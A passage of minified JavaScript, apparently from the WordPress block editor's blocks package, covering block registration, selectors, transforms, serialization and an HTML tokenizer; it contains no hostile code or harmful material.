e},collections:function(e={},t){switch(t.type){case"ADD_BLOCK_COLLECTION":return{...e,[t.namespace]:{title:t.title,icon:t.icon}};case"REMOVE_BLOCK_COLLECTION":return Xe(e,t.namespace)}return e},blockBindingsSources:function(e={},t){switch(t.type){case"ADD_BLOCK_BINDINGS_SOURCE":let r;return"core/post-meta"===t.name&&(r=t.getFieldsList),{...e,[t.name]:{label:t.label||e[t.name]?.label,usesContext:st(e[t.name]?.usesContext,t.usesContext),getValues:t.getValues,setValues:t.setValues,canUserEditValue:t.setValues&&t.canUserEditValue,getFieldsList:r}};case"REMOVE_BLOCK_BINDINGS_SOURCE":return Xe(e,t.name)}return e}});var lt=r(9681),ut=r.n(lt);const dt=(e,t,r)=>{var n;const o=Array.isArray(t)?t:t.split(".");let a=e;return o.forEach((e=>{a=a?.[e]})),null!==(n=a)&&void 0!==n?n:r};function pt(e){return"object"==typeof e&&e.constructor===Object&&null!==e}function ft(e,t){return pt(e)&&pt(t)?Object.entries(t).every((([t,r])=>ft(e?.[t],r))):e===t}const ht=["background","backgroundColor","color","linkColor","captionColor","buttonColor","headingColor","fontFamily","fontSize","fontStyle","fontWeight","lineHeight","padding","contentSize","wideSize","blockGap","textDecoration","textTransform","letterSpacing"];function gt(e,t,r){return e.filter((e=>("fontSize"!==e||"heading"!==r)&&(!("textDecoration"===e&&!t&&"link"!==r)&&(!("textTransform"===e&&!t&&!["heading","h1","h2","h3","h4","h5","h6"].includes(r)&&"button"!==r&&"caption"!==r&&"text"!==r)&&(!("letterSpacing"===e&&!t&&!["heading","h1","h2","h3","h4","h5","h6"].includes(r)&&"button"!==r&&"caption"!==r&&"text"!==r)&&!("textColumns"===e&&!t))))))}const mt=(0,i.createSelector)(((e,t,r)=>{if(!t)return gt(ht,t,r);const n=Ct(e,t);if(!n)return[];const o=[];return n?.supports?.spacing?.blockGap&&o.push("blockGap"),n?.supports?.shadow&&o.push("shadow"),Object.keys(J).forEach((e=>{J[e].support&&(J[e].requiresOptOut&&J[e].support[0]in n.supports&&!1!==dt(n.supports,J[e].support)||dt(n.supports,J[e].support,!1))&&o.push(e)})),gt(o,t,r)}),((e,t)=>[e.blockTypes[t]]));function bt(e,t){return e.bootstrappedBlockTypes[t]}function _t(e){return e.unprocessedBlockTypes}function yt(e){return e.blockBindingsSources}function kt(e,t){return e.blockBindingsSources[t]}const wt=(e,t)=>{const r=Ct(e,t);return!!r&&Object.values(r.attributes).some((({role:e,__experimentalRole:r})=>"content"===e||"content"===r&&(Q()("__experimentalRole attribute",{since:"6.7",version:"6.8",alternative:"role attribute",hint:`Check the block.json of the ${t} block.`}),!0)))},vt=(e,t)=>"string"==typeof t?Ct(e,t):t,Tt=(0,i.createSelector)((e=>Object.values(e.blockTypes)),(e=>[e.blockTypes]));function Ct(e,t){return e.blockTypes[t]}function xt(e,t){return e.blockStyles[t]}const Et=(0,i.createSelector)(((e,t,r)=>{const n=e.blockVariations[t];return n&&r?n.filter((e=>(e.scope||["block","inserter"]).includes(r))):n}),((e,t)=>[e.blockVariations[t]]));function St(e,t,r,n){const o=Et(e,t,n);if(!o)return o;const a=Ct(e,t),i=Object.keys(a?.attributes||{});let s,c=0;for(const e of o)if(Array.isArray(e.isActive)){const t=e.isActive.filter((e=>{const t=e.split(".")[0];return i.includes(t)})),n=t.length;if(0===n)continue;t.every((t=>{const n=dt(e.attributes,t);if(void 0===n)return!1;let o=dt(r,t);return o instanceof W.RichTextData&&(o=o.toHTMLString()),ft(o,n)}))&&n>c&&(s=e,c=n)}else if(e.isActive?.(r,e.attributes))return s||e;return s}function Bt(e,t,r){const n=Et(e,t,r);return[...n].reverse().find((({isDefault:e})=>!!e))||n[0]}function At(e){return e.categories}function Nt(e){return e.collections}function Pt(e){return e.defaultBlockName}function Ot(e){return e.freeformFallbackBlockName}function Lt(e){return e.unregisteredFallbackBlockName}function Mt(e){return e.groupingBlockName}const jt=(0,i.createSelector)(((e,t)=>Tt(e).filter((e=>e.parent?.includes(t))).map((({name:e})=>e))),(e=>[e.blockTypes])),Dt=(e,t,r,n)=>{const o=vt(e,t);return o?.supports?dt(o.supports,r,n):n};function zt(e,t,r,n){return!!Dt(e,t,r,n)}function It(e){return ut()(null!=e?e:"").toLowerCase().trim()}function Rt(e,t,r=""){const n=vt(e,t),o=It(r),a=e=>It(e).includes(o);return a(n.title)||n.keywords?.some(a)||a(n.category)||"string"==typeof n.description&&a(n.description)}const Ht=(e,t)=>jt(e,t).length>0,Vt=(e,t)=>jt(e,t).some((t=>zt(e,t,"inserter",!0))),$t=(...e)=>(Q()("__experimentalHasContentRoleAttribute",{since:"6.7",version:"6.8",hint:"This is a private selector."}),wt(...e));
/*!
 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
 *
 * Copyright (c) 2014-2017, Jon Schlinkert.
 * Released under the MIT License.
 */
function Ut(e){return"[object Object]"===Object.prototype.toString.call(e)}var Ft=r(8529);const qt=window.wp.hooks,Gt={common:"text",formatting:"text",layout:"design"};function Kt(e=[],t=[]){const r=[...e];return t.forEach((e=>{const t=r.findIndex((t=>t.name===e.name));-1!==t?r[t]={...r[t],...e}:r.push(e)})),r}const Wt=(e,t)=>({select:r})=>{const n=r.getBootstrappedBlockType(e),o={name:e,icon:Z,keywords:[],attributes:{},providesContext:{},usesContext:[],selectors:{},supports:{},styles:[],blockHooks:{},save:()=>null,...n,...t,variations:Kt(Array.isArray(n?.variations)?n.variations:[],Array.isArray(t?.variations)?t.variations:[])},a=(0,qt.applyFilters)("blocks.registerBlockType",o,e,null);if(a.description&&"string"!=typeof a.description&&Q()("Declaring non-string block descriptions",{since:"6.2"}),a.deprecated&&(a.deprecated=a.deprecated.map((e=>Object.fromEntries(Object.entries((0,qt.applyFilters)("blocks.registerBlockType",{...Xe(o,X),...e},o.name,e)).filter((([e])=>X.includes(e))))))),function(e){var t,r;return!1!==Ut(e)&&(void 0===(t=e.constructor)||!1!==Ut(r=t.prototype)&&!1!==r.hasOwnProperty("isPrototypeOf"))}(a)&&"function"==typeof a.save&&(!("edit"in a)||(0,Ft.isValidElementType)(a.edit))&&(Gt.hasOwnProperty(a.category)&&(a.category=Gt[a.category]),"category"in a&&!r.getCategories().some((({slug:e})=>e===a.category))&&delete a.category,"title"in a&&""!==a.title&&"string"==typeof a.title&&(a.icon=Ue(a.icon),$e(a.icon.src)&&(("string"==typeof a?.parent||a?.parent instanceof String)&&(a.parent=[a.parent]),(Array.isArray(a?.parent)||void 0===a?.parent)&&(1!==a?.parent?.length||e!==a.parent[0])))))return a};function Yt(e){return{type:"ADD_BLOCK_TYPES",blockTypes:Array.isArray(e)?e:[e]}}function Qt(){return({dispatch:e,select:t})=>{const r=[];for(const[n,o]of Object.entries(t.getUnprocessedBlockTypes())){const t=e(Wt(n,o));t&&r.push(t)}r.length&&e.addBlockTypes(r)}}function Zt(){return Q()('wp.data.dispatch( "core/blocks" ).__experimentalReapplyBlockFilters',{since:"6.4",alternative:"reapplyBlockFilters"}),Qt()}function Xt(e){return{type:"REMOVE_BLOCK_TYPES",names:Array.isArray(e)?e:[e]}}function Jt(e,t){return{type:"ADD_BLOCK_STYLES",styles:Array.isArray(t)?t:[t],blockNames:Array.isArray(e)?e:[e]}}function er(e,t){return{type:"REMOVE_BLOCK_STYLES",styleNames:Array.isArray(t)?t:[t],blockName:e}}function tr(e,t){return{type:"ADD_BLOCK_VARIATIONS",variations:Array.isArray(t)?t:[t],blockName:e}}function rr(e,t){return{type:"REMOVE_BLOCK_VARIATIONS",variationNames:Array.isArray(t)?t:[t],blockName:e}}function nr(e){return{type:"SET_DEFAULT_BLOCK_NAME",name:e}}function or(e){return{type:"SET_FREEFORM_FALLBACK_BLOCK_NAME",name:e}}function ar(e){return{type:"SET_UNREGISTERED_FALLBACK_BLOCK_NAME",name:e}}function ir(e){return{type:"SET_GROUPING_BLOCK_NAME",name:e}}function sr(e){return{type:"SET_CATEGORIES",categories:e}}function cr(e,t){return{type:"UPDATE_CATEGORY",slug:e,category:t}}function lr(e,t,r){return{type:"ADD_BLOCK_COLLECTION",namespace:e,title:t,icon:r}}function ur(e){return{type:"REMOVE_BLOCK_COLLECTION",namespace:e}}function dr(e,t){return{type:"ADD_BOOTSTRAPPED_BLOCK_TYPE",name:e,blockType:t}}function pr(e,t){return({dispatch:r})=>{r({type:"ADD_UNPROCESSED_BLOCK_TYPE",name:e,blockType:t});const n=r(Wt(e,t));n&&r.addBlockTypes(n)}}function fr(e){return{type:"ADD_BLOCK_BINDINGS_SOURCE",name:e.name,label:e.label,usesContext:e.usesContext,getValues:e.getValues,setValues:e.setValues,canUserEditValue:e.canUserEditValue,getFieldsList:e.getFieldsList}}function hr(e){return{type:"REMOVE_BLOCK_BINDINGS_SOURCE",name:e}}const gr=(0,i.createReduxStore)("core/blocks",{reducer:ct,selectors:t,actions:o});(0,i.register)(gr),oe(gr).registerPrivateSelectors(e),oe(gr).registerPrivateActions(a);const mr={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};let br;const _r=new Uint8Array(16);function yr(){if(!br&&(br="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!br))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return br(_r)}const kr=[];for(let e=0;e<256;++e)kr.push((e+256).toString(16).slice(1));function wr(e,t=0){return kr[e[t+0]]+kr[e[t+1]]+kr[e[t+2]]+kr[e[t+3]]+"-"+kr[e[t+4]]+kr[e[t+5]]+"-"+kr[e[t+6]]+kr[e[t+7]]+"-"+kr[e[t+8]]+kr[e[t+9]]+"-"+kr[e[t+10]]+kr[e[t+11]]+kr[e[t+12]]+kr[e[t+13]]+kr[e[t+14]]+kr[e[t+15]]}const vr=function(e,t,r){if(mr.randomUUID&&!t&&!e)return mr.randomUUID();const n=(e=e||{}).random||(e.rng||yr)();if(n[6]=15&n[6]|64,n[8]=63&n[8]|128,t){r=r||0;for(let e=0;e<16;++e)t[r+e]=n[e];return t}return wr(n)};function Tr(e,t={},r=[]){if(!We(e))return Tr("core/missing",{originalName:e,originalContent:"",originalUndelimitedContent:""});const n=Ye(e,t);return{clientId:vr(),name:e,isValid:!0,attributes:n,innerBlocks:r}}function Cr(e=[]){return e.map((e=>{const t=Array.isArray(e)?e:[e.name,e.attributes,e.innerBlocks],[r,n,o=[]]=t;return Tr(r,n,Cr(o))}))}function xr(e,t={},r){const{name:n}=e;if(!We(n))return Tr("core/missing",{originalName:n,originalContent:"",originalUndelimitedContent:""});const o=vr(),a=Ye(n,{...e.attributes,...t});return{...e,clientId:o,attributes:a,innerBlocks:r||e.innerBlocks.map((e=>xr(e)))}}function Er(e,t={},r){const n=vr();return{...e,clientId:n,attributes:{...e.attributes,...t},innerBlocks:r||e.innerBlocks.map((e=>Er(e)))}}const Sr=(e,t,r)=>{if(!r.length)return!1;const n=r.length>1,o=r[0].name;if(!(Nr(e)||!n||e.isMultiBlock))return!1;if(!Nr(e)&&!r.every((e=>e.name===o)))return!1;if(!("block"===e.type))return!1;const a=r[0];return!("from"===t&&-1===e.blocks.indexOf(a.name)&&!Nr(e))&&(!(!n&&"from"===t&&Pr(a.name)&&Pr(e.blockName))&&!!jr(e,r))},Br=e=>{if(!e.length)return[];return ve().filter((t=>!!Lr(Mr("from",t.name),(t=>Sr(t,"from",e)))))},Ar=e=>{if(!e.length)return[];const t=we(e[0].name);return(t?Mr("to",t.name):[]).filter((t=>t&&Sr(t,"to",e))).map((e=>e.blocks)).flat().map(we)},Nr=e=>e&&"block"===e.type&&Array.isArray(e.blocks)&&e.blocks.includes("*"),Pr=e=>e===ge();function Or(e){if(!e.length)return[];const t=Br(e),r=Ar(e);return[...new Set([...t,...r])]}function Lr(e,t){const r=(0,qt.createHooks)();for(let n=0;n<e.length;n++){const o=e[n];t(o)&&r.addFilter("transform","transform/"+n.toString(),(e=>e||o),o.priority)}return r.applyFilters("transform",null)}function Mr(e,t){if(void 0===t)return ve().map((({name:t})=>Mr(e,t))).flat();const r=Fe(t),{name:n,transforms:o}=r||{};if(!o||!Array.isArray(o[e]))return[];const a=o.supportedMobileTransforms&&Array.isArray(o.supportedMobileTransforms),i=a?o[e].filter((e=>"raw"===e.type||("prefix"===e.type||!(!e.blocks||!e.blocks.length)&&(!!Nr(e)||e.blocks.every((e=>o.supportedMobileTransforms.includes(e))))))):o[e];return i.map((e=>({...e,blockName:n,usingMobileTransformations:a})))}function jr(e,t){if("function"!=typeof e.isMatch)return!0;const r=t[0],n=e.isMultiBlock?t.map((e=>e.attributes)):r.attributes,o=e.isMultiBlock?t:r;return e.isMatch(n,o)}function Dr(e,t){const r=Array.isArray(e)?e:[e],n=r.length>1,o=r[0],a=o.name,i=Mr("from",t),s=Lr(Mr("to",a),(e=>"block"===e.type&&(Nr(e)||-1!==e.blocks.indexOf(t))&&(!n||e.isMultiBlock)&&jr(e,r)))||Lr(i,(e=>"block"===e.type&&(Nr(e)||-1!==e.blocks.indexOf(a))&&(!n||e.isMultiBlock)&&jr(e,r)));if(!s)return null;let c;if(c=s.isMultiBlock?"__experimentalConvert"in s?s.__experimentalConvert(r):s.transform(r.map((e=>e.attributes)),r.map((e=>e.innerBlocks))):"__experimentalConvert"in s?s.__experimentalConvert(o):s.transform(o.attributes,o.innerBlocks),null===c||"object"!=typeof c)return null;if(c=Array.isArray(c)?c:[c],c.some((e=>!we(e.name))))return null;if(!c.some((e=>e.name===t)))return null;return c.map(((t,r,n)=>(0,qt.applyFilters)("blocks.switchToBlockType.transformedBlock",t,e,r,n)))}const zr=(e,t)=>{var r;return Tr(e,t.attributes,(null!==(r=t.innerBlocks)&&void 0!==r?r:[]).map((e=>zr(e.name,e))))},Ir=window.wp.blockSerializationDefaultParser,Rr=window.wp.autop,Hr=window.wp.isShallowEqual;var Vr=r.n(Hr);function $r(e,t={}){const{isCommentDelimited:r=!0}=t,{blockName:n,attrs:o={},innerBlocks:a=[],innerContent:i=[]}=e;let s=0;const c=i.map((e=>null!==e?e:$r(a[s++],t))).join("\n").replace(/\n+/g,"\n").trim();return r?Jr(n,o,c):c}const Ur=window.ReactJSXRuntime;function Fr(e){const t="wp-block-"+e.replace(/\//,"-").replace(/^core-/,"");return(0,qt.applyFilters)("blocks.getBlockDefaultClassName",t,e)}function qr(e){const t="editor-block-list-item-"+e.replace(/\//,"-").replace(/^core-/,"");return(0,qt.applyFilters)("blocks.getBlockMenuDefaultClassName",t,e)}const Gr={},Kr={};function Wr(e={}){const{blockType:t,attributes:r}=Gr;return Wr.skipFilters?e:(0,qt.applyFilters)("blocks.getSaveContent.extraProps",{...e},t,r)}function Yr(e={}){const{innerBlocks:t}=Kr;if(!Array.isArray(t))return{...e,children:t};const r=rn(t,{isInnerBlocks:!0}),n=(0,Ur.jsx)(G.RawHTML,{children:r});return{...e,children:n}}function Qr(e,t,r=[]){const n=Fe(e);if(!n?.save)return null;let{save:o}=n;if(o.prototype instanceof G.Component){const e=new o({attributes:t});o=e.render.bind(e)}Gr.blockType=n,Gr.attributes=t,Kr.innerBlocks=r;let a=o({attributes:t,innerBlocks:r});if(null!==a&&"object"==typeof a&&(0,qt.hasFilter)("blocks.getSaveContent.extraProps")&&!(n.apiVersion>1)){const e=(0,qt.applyFilters)("blocks.getSaveContent.extraProps",{...a.props},n,t);Vr()(e,a.props)||(a=(0,G.cloneElement)(a,e))}return(0,qt.applyFilters)("blocks.getSaveElement",a,n,t)}function Zr(e,t,r){const n=Fe(e);return(0,G.renderToString)(Qr(n,t,r))}function Xr(e){let t=e.originalContent;if(e.isValid||e.innerBlocks.length)try{t=Zr(e.name,e.attributes,e.innerBlocks)}catch(e){}return t}function Jr(e,t,r){const n=t&&Object.entries(t).length?function(e){return JSON.stringify(e).replace(/--/g,"\\u002d\\u002d").replace(/</g,"\\u003c").replace(/>/g,"\\u003e").replace(/&/g,"\\u0026").replace(/\\"/g,"\\u0022")}(t)+" ":"",o=e?.startsWith("core/")?e.slice(5):e;return r?`\x3c!-- wp:${o} ${n}--\x3e\n`+r+`\n\x3c!-- /wp:${o} --\x3e`:`\x3c!-- wp:${o} ${n}/--\x3e`}function en(e,{isInnerBlocks:t=!1}={}){if(!e.isValid&&e.__unstableBlockSource)return $r(e.__unstableBlockSource);const r=e.name,n=Xr(e);if(r===be()||!t&&r===he())return n;const o=we(r);if(!o)return n;const a=function(e,t){var r;return Object.entries(null!==(r=e.attributes)&&void 0!==r?r:{}).reduce(((r,[n,o])=>{const a=t[n];return void 0===a||void 0!==o.source||"local"===o.role?r:"local"===o.__experimentalRole?(Q()("__experimentalRole attribute",{since:"6.7",version:"6.8",alternative:"role attribute",hint:`Check the block.json of the ${e?.name} block.`}),r):("default"in o&&JSON.stringify(o.default)===JSON.stringify(a)||(r[n]=a),r)}),{})}(o,e.attributes);return Jr(r,a,n)}function tn(e){1===e.length&&Ve(e[0])&&(e=[]);let t=rn(e);return 1===e.length&&e[0].name===he()&&"core/freeform"===e[0].name&&(t=(0,Rr.removep)(t)),t}function rn(e,t){return(Array.isArray(e)?e:[e]).map((e=>en(e,t))).join("\n\n")}var nn=/^#[xX]([A-Fa-f0-9]+)$/,on=/^#([0-9]+)$/,an=/^([A-Za-z0-9]+)$/,sn=(function(){function e(e){this.named=e}e.prototype.parse=function(e){if(e){var t=e.match(nn);return t?String.fromCharCode(parseInt(t[1],16)):(t=e.match(on))?String.fromCharCode(parseInt(t[1],10)):(t=e.match(an))?this.named[t[1]]:void 0}}}(),/[\t\n\f ]/),cn=/[A-Za-z]/,ln=/\r\n?/g;function un(e){return sn.test(e)}function dn(e){return cn.test(e)}var pn=function(){function e(e,t,r){void 0===r&&(r="precompile"),this.delegate=e,this.entityParser=t,this.mode=r,this.state="beforeData",this.line=-1,this.column=-1,this.input="",this.index=-1,this.tagNameBuffer="",this.states={beforeData:function(){var e=this.peek();if("<"!==e||this.isIgnoredEndTag()){if("precompile"===this.mode&&"\n"===e){var t=this.tagNameBuffer.toLowerCase();"pre"!==t&&"textarea"!==t||this.consume()}this.transitionTo("data"),this.delegate.beginData()}else this.transitionTo("tagOpen"),this.markTagStart(),this.consume()},data:function(){var e=this.peek(),t=this.tagNameBuffer;"<"!==e||this.isIgnoredEndTag()?"&"===e&&"script"!==t&&"style"!==t?(this.consume(),this.delegate.appendToData(this.consumeCharRef()||"&")):(this.consume(),this.delegate.appendToData(e)):(this.delegate.finishData(),this.transitionTo("tagOpen"),this.markTagStart(),this.consume())},tagOpen:function(){var e=this.consume();"!"===e?this.transitionTo("markupDeclarationOpen"):"/"===e?this.transitionTo("endTagOpen"):("@"===e||":"===e||dn(e))&&(this.transitionTo("tagName"),this.tagNameBuffer="",this.delegate.beginStartTag(),this.appendToTagName(e))},markupDeclarationOpen:function(){var e=this.consume();"-"===e&&"-"===this.peek()?(this.consume(),this.transitionTo("commentStart"),this.delegate.beginComment()):"DOCTYPE"===e.toUpperCase()+this.input.substring(this.index,this.index+6).toUpperCase()&&(this.consume(),this.consume(),this.consume(),this.consume(),this.consume(),this.consume(),this.transitionTo("doctype"),this.delegate.beginDoctype&&this.delegate.beginDoctype())},doctype:function(){un(this.consume())&&this.transitionTo("beforeDoctypeName")},beforeDoctypeName:function(){var e=this.consume();un(e)||(this.transitionTo("doctypeName"),this.delegate.appendToDoctypeName&&this.delegate.appendToDoctypeName(e.toLowerCase()))},doctypeName:function(){var e=this.consume();un(e)?this.transitionTo("afterDoctypeName"):">"===e?(this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData")):this.delegate.appendToDoctypeName&&this.delegate.appendToDoctypeName(e.toLowerCase())},afterDoctypeName:function(){var e=this.consume();if(!un(e))if(">"===e)this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData");else{var t=e.toUpperCase()+this.input.substring(this.index,this.index+5).toUpperCase(),r="PUBLIC"===t.toUpperCase(),n="SYSTEM"===t.toUpperCase();(r||n)&&(this.consume(),this.consume(),this.consume(),this.consume(),this.consume(),this.consume()),r?this.transitionTo("afterDoctypePublicKeyword"):n&&this.transitionTo("afterDoctypeSystemKeyword")}},afterDoctypePublicKeyword:function(){var e=this.peek();un(e)?(this.transitionTo("beforeDoctypePublicIdentifier"),this.consume()):'"'===e?(this.transitionTo("doctypePublicIdentifierDoubleQuoted"),this.consume()):"'"===e?(this.transitionTo("doctypePublicIdentifierSingleQuoted"),this.consume()):">"===e&&(this.consume(),this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData"))},doctypePublicIdentifierDoubleQuoted:function(){var e=this.consume();'"'===e?this.transitionTo("afterDoctypePublicIdentifier"):">"===e?(this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData")):this.delegate.appendToDoctypePublicIdentifier&&this.delegate.appendToDoctypePublicIdentifier(e)},doctypePublicIdentifierSingleQuoted:function(){var e=this.consume();"'"===e?this.transitionTo("afterDoctypePublicIdentifier"):">"===e?(this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData")):this.delegate.appendToDoctypePublicIdentifier&&this.delegate.appendToDoctypePublicIdentifier(e)},afterDoctypePublicIdentifier:function(){var e=this.consume();un(e)?this.transitionTo("betweenDoctypePublicAndSystemIdentifiers"):">"===e?(this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData")):'"'===e?this.transitionTo("doctypeSystemIdentifierDoubleQuoted"):"'"===e&&this.transitionTo("doctypeSystemIdentifierSingleQuoted")},betweenDoctypePublicAndSystemIdentifiers:function(){var e=this.consume();un(e)||(">"===e?(this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData")):'"'===e?this.transitionTo("doctypeSystemIdentifierDoubleQuoted"):"'"===e&&this.transitionTo("doctypeSystemIdentifierSingleQuoted"))},doctypeSystemIdentifierDoubleQuoted:function(){var e=this.consume();'"'===e?this.transitionTo("afterDoctypeSystemIdentifier"):">"===e?(this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData")):this.delegate.appendToDoctypeSystemIdentifier&&this.delegate.appendToDoctypeSystemIdentifier(e)},doctypeSystemIdentifierSingleQuoted:function(){var e=this.consume();"'"===e?this.transitionTo("afterDoctypeSystemIdentifier"):">"===e?(this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData")):this.delegate.appendToDoctypeSystemIdentifier&&this.delegate.appendToDoctypeSystemIdentifier(e)},afterDoctypeSystemIdentifier:function(){var e=this.consume();un(e)||">"===e&&(this.delegate.endDoctype&&this.delegate.endDoctype(),this.transitionTo("beforeData"))},commentStart:function(){var e=this.consume();"-"===e?this.transitionTo("commentStartDash"):">"===e?(this.delegate.finishComment(),this.transitionTo("beforeData")):(this.delegate.appendToCommentData(e),this.transitionTo("comment"))},commentStartDash:function(){var e=this.consume();"-"===e?this.transitionTo("commentEnd"):">"===e?(this.delegate.finishComment(),this.transitionTo("beforeData")):(this.delegate.appendToCommentData("-"),this.transitionTo("comment"))},comment:function(){var e=this.consume();"-"===e?this.transitionTo("commentEndDash"):this.delegate.appendToCommentData(e)},commentEndDash:function(){var e=this.consume();"-"===e?this.transitionTo("commentEnd"):(this.delegate.appendToCommentData("-"+e),this.transitionTo("comment"))},commentEnd:function(){var e=this.consume();">"===e?(this.delegate.finishComment(),this.transitionTo("beforeData")):(this.delegate.appendToCommentData("--"+e),this.transitionTo("comment"))},tagName:function(){var e=this.consume();un(e)?this.transitionTo("beforeAttributeName"):"/"===e?this.transitionTo("selfClosingStartTag"):">"===e?(this.delegate.finishTag(),this.transitionTo("beforeData")):this.appendToTagName(e)},endTagName:function(){var e=this.consume();un(e)?(this.transitionTo("beforeAttributeName"),this.tagNameBuffer=""):"/"===e?(this.transitionTo("selfClosingStartTag"),this.tagNameBuffer=""):">"===e?(this.delegate.finishTag(),this.transitionTo("beforeData"),this.tagNameBuffer=""):this.appendToTagName(e)},beforeAttributeName:function(){var e=this.peek();un(e)?this.consume():"/"===e?(this.transitionTo("selfClosingStartTag"),this.consume()):">"===e?(this.consume(),this.delegate.finishTag(),this.transitionTo("beforeData")):"="===e?(this.delegate.reportSyntaxError("attribute name cannot start with equals sign"),this.transitionTo("attributeName"),this.delegate.beginAttribute(),this.consume(),this.delegate.appendToAttributeName(e)):(this.transitionTo("attributeName"),this.delegate.beginAttribute())},attributeName:function(){var e=this.peek();un(e)?(this.transitionTo("afterAttributeName"),this.consume()):"/"===e?(this.delegate.beginAttributeValue(!1),this.delegate.finishAttributeValue(),this.consume(),this.transitionTo("selfClosingStartTag")):"="===e?(this.transitionTo("beforeAttributeValue"),this.consume()):">"===e?(this.delegate.beginAttributeValue(!1),this.delegate.finishAttributeValue(),this.consume(),this.delegate.finishTag(),this.transitionTo("beforeData")):'"'===e||"'"===e||"<"===e?(this.delegate.reportSyntaxError(e+" is not a valid character within attribute names"),this.consume(),this.delegate.appendToAttributeName(e)):(this.consume(),this.delegate.appendToAttributeName(e))},afterAttributeName:function(){var e=this.peek();un(e)?this.consume():"/"===e?(this.delegate.beginAttributeValue(!1),this.delegate.finishAttributeValue(),this.consume(),this.transitionTo("selfClosingStartTag")):"="===e?(this.consume(),this.transitionTo("beforeAttributeValue")):">"===e?(this.delegate.beginAttributeValue(!1),this.delegate.finishAttributeValue(),this.consume(),this.delegate.finishTag(),this.transitionTo("beforeData")):(this.delegate.beginAttributeValue(!1),this.delegate.finishAttributeValue(),this.transitionTo("attributeName"),this.delegate.beginAttribute(),this.consume(),this.delegate.appendToAttributeName(e))},beforeAttributeValue:function(){var e=this.peek();un(e)?this.consume():'"'===e?(this.transitionTo("attributeValueDoubleQuoted"),this.delegate.beginAttributeValue(!0),this.consume()):"'"===e?(this.transitionTo("attributeValueSingleQuoted"),this.delegate.beginAttributeValue(!0),this.consume()):">"===e?(this.delegate.beginAttributeValue(!1),this.delegate.finishAttributeValue(),this.consume(),this.delegate.finishTag(),this.transitionTo("beforeData")):(this.transitionTo("attributeValueUnquoted"),this.delegate.beginAttributeValue(!1),this.consume(),this.delegate.appendToAttributeValue(e))},attributeValueDoubleQuoted:function(){var e=this.consume();'"'===e?(this.delegate.finishAttributeValue(),this.transitionTo("afterAttributeValueQuoted")):"&"===e?this.delegate.appendToAttributeValue(this.consumeCharRef()||"&"):this.delegate.appendToAttributeValue(e)},attributeValueSingleQuoted:function(){var e=this.consume();"'"===e?(this.delegate.finishAttributeValue(),this.transitionTo("afterAttributeValueQuoted")):"&"===e?this.delegate.appendToAttributeValue(this.consumeCharRef()||"&"):this.delegate.appendToAttributeValue(e)},attributeValueUnquoted:function(){var e=this.peek();un(e)?(this.delegate.finishAttributeValue(),this.consume(),this.transitionTo("beforeAttributeName")):"/"===e?(this.delegate.finishAttributeValue(),this.consume(),this.transitionTo("selfClosingStartTag")):"&"===e?(this.consume(),this.delegate.appendToAttributeValue(this.consumeCharRef()||"&")):">"===e?(this.delegate.finishAttributeValue(),this.consume(),this.delegate.finishTag(),this.transitionTo("beforeData")):(this.consume(),this.delegate.appendToAttributeValue(e))},afterAttributeValueQuoted:function(){var e=this.peek();un(e)?(this.consume(),this.transitionTo("beforeAttributeName")):"/"===e?(this.consume(),this.transitionTo("selfClosingStartTag")):">"===e?(this.consume(),this.delegate.finishTag(),this.transitionTo("beforeData")):this.transitionTo("beforeAttributeName")},selfClosingStartTag:function(){">"===this.peek()?(this.consume(),this.delegate.markTagAsSelfClosing(),this.delegate.finishTag(),this.transitionTo("beforeData")):this.transitionTo("beforeAttributeName")},endTagOpen:function(){var e=this.consume();("@"===e||":"===e||dn(e))&&(this.transitionTo("endTagName"),this.tagNameBuffer="",this.delegate.beginEndTag(),this.appendToTagName(e))}},this.reset()}return e.prototype.reset=function(){this.transitionTo("beforeData"),this.input="",this.tagNameBuffer="",this.index=0,this.line=1,this.column=0,this.delegate.reset()},e.prototype.transitionTo=function(e){this.state=e},e.prototype.tokenize=function(e){this.reset(),this.tokenizePart(e),this.tokenizeEOF()},e.prototype.tokenizePart=function(e){for(this.input+=function(e){return e.replace(ln,"\n")}(e);this.index<this.input.length;){var t=this.states[this.state];if(void 0===t)throw new Error("unhandled state "+this.state);t.call(this)}},e.prototype.tokenizeEOF=function(){this.flushData()},e.prototype.flushData=function(){"data"===this.state&&(this.delegate.finishData(),this.transitionTo("beforeData"))},e.prototype.peek=function(){return this.input.charAt(this.index)},e.prototype.consume=function(){var e=this.peek();return this.index++,"\n"===e?(this.line++,this.column=0):this.column++,e},e.prototype.consumeCharRef=function(){var e=this.input.indexOf(";",this.index);if(-1!==e){var t=this.input.slice(this.index,e),r=this.entityParser.parse(t);if(r){for(var n=t.length;n;)this.consume(),n--;return this.consume(),r}}},e.prototype.markTagStart=function(){this.delegate.tagOpen()},e.prototype.appendToTagName=function(e){this.tagNameBuffer+=e,this.delegate.appendToTagName(e)},e.prototype.isIgnoredEndTag=function(){var e=this.tagNameBuffer;return"title"===e&&"</title>"!==this.input.substring(this.index,this.index+8)||"style"===e&&"</style>"!==this.input.substring(this.index,this.index+8)||"script"===e&&"<\/script>"!==this.input.substring(this.index,this.index+9)},e}(),fn=function(){function e(e,t){void 0===t&&(t={}),this.options=t,this.token=null,this.startLine=1,this.startColumn=0,this.tokens=[],this.tokenizer=new pn(this,e,t.mode),this._currentAttribute=void 0}return e.prototype.tokenize=function(e){return this.tokens=[],this.tokenizer.tokenize(e),this.tokens},e.prototype.tokenizePart=function(e){return this.tokens=[],this.tokenizer.tokenizePart(e),this.tokens},e.prototype.tokenizeEOF=function(){return this.tokens=[],this.tokenizer.tokenizeEOF(),this.tokens[0]},e.prototype.reset=function(){this.token=null,this.startLine=1,this.startColumn=0},e.prototype.current=function(){var 